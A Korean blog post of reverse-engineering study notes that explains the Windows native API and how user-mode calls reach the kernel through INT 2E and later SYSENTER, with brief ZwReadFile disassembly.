-       메모리 관리자, I/O 시스템, 객체 관리자, 프로세스와 쓰레드 등에 직접 접근할 수 있는 인터페이스 제공(윈도우 커널에 대한 가장 직접적인 인터페이스)

-       App 프로그램은 Win9x와 호환성을 유지하기 위해서 네이티브 API를 직접 호출하면 안됨

-       NTDLL.DLL(user mode 호출자를 위한) NTOSKRNL.EXE(kernel mode 호출자를 위한)에서 익스포트된 함수들의 집합

-       네이티브 API 이름은 항상 Nt, Zw로 시작됨

Nt 버전 API : 해당 API를 실질적으로 구현하는 함수

Zw 버전 API : 시스템 콜 메커니즘이 수행되는 함수


#시스템 콜 메커님즘을 통해 커널 모드 API를 호출하는 이유?

API를 커널 모드에서 호출한다는 것을 알려주기 위해서이다.

이런 구분 없이 API를 무작정 호출하면 자신이 유저 모드에서 호출되지는 커널 모드에서 호출되는 알 수 없게 된다. 유저 모드에서 커널 모드 API를 호출하면 유저 모드에서 호출했다고 판단해 유저 모드 주소를 포함하고 있는 모든 파라미터를 조사할 것이다. 이는 유저 모드에서 커널 메모리 주소를 전달함으로써 발생할 수 있는 시스템 충돌을 방지하기 위한 메커니즘이다.

 

    시스템 콜 메커니즘

-       시스템 콜은 유저 모드에서 커널 모드 함수를 호출할 필요가 있을 때 발생

-       유저모드에서 커널 함수를 직접 호출하는 것은 불가능함(직접 호출이 가능하다면 보안상 위험이 발생할 수 있음)

프로세스가 특권 모드로 스위칭 → 특별한 CPU 명령(특별한 디스패치 루틴을 호출하게 명령)을 유저모드에서 호출 → 호출된 디스패치 루틴은 유저모드에서 요청한 특정 시스템 함수를 호출

-       Window 2000 이후 메커니즘 변경됨

 

Window 2000 이하 버전

인터럽트 2E를 이용해서 커널 호출

Ntdll!ZwReadFile:

77f8c552  mov  eax,0xa1   //eax 레지스터에 서비스 번호 로드

77f8c557  lea  edx,[esp+0x4]  //edx 레지스터에 커널모드 함수에 전달되는 첫번째 파라미터 주소 저장

77f8c55b  int   2e  //인터럽트 디스크립터 테이블(IDT)을 이용해서 해당 인터럽트 핸들러 호출

77f8c55d  ret   0x24

 

Window 2003 server

Window XP

인터럽트 사용 안함

SYSENTER 명령어 사용 : 고성능 커널모드 스위칭 명령으로, SYSENTER_EIP_MSR이라는 특별한 MSR 레지스터에 저장된 주소를 호출함

Ntdll!ZwReadFile:

77f4302f  mov  eax,0xbf   //eax 레지스터에 서비스 번호 로드

77f43034  mov  edx,[0x7ffe0300]  //0x7ffe0300 : SharedUserData!SystemCallStub함수

77f43039  call   edx 

77f4303b  ret   0x24

[디스어셈블 코드]

SharedUserData!SystemCallStub:

7ffe0300    mov     edx,esp

7ffe0302    sysenter

7ffe0304    ret   // 실제 실행되지 않음

 

    시스템 콜 메커니즘

-       어떤 상태 정보도 저장하지 않음

-       SystemCallStub함수를 호출해 OS가 현재의 유저모드 주소 정보를 스택에 저장하게 만듬(이렇게 해야 나중에 되돌아갈 주소를 알 수 있음)

-       커널에서의 작업이 완료되고 다시 유저모드로 되돌아갈 때 단순히 스택에 저장된 주소로 돌아감(따라서, 7ffe0304 ret명령은 실제 실행되지 않음)

'Security > Reverse Engineering' 카테고리의 다른 글

[Reversing]Input and Output  (0) 2010.05.10
[Reversing]실행 포멧  (0) 2010.05.08
[Reversing]프로세스 동기화, 초기화 과정  (0) 2010.05.04
[Reversing]프로세스와 쓰레드  (0) 2010.05.04
[Reversing]네임드 객체  (0) 2010.05.03

+ Recent posts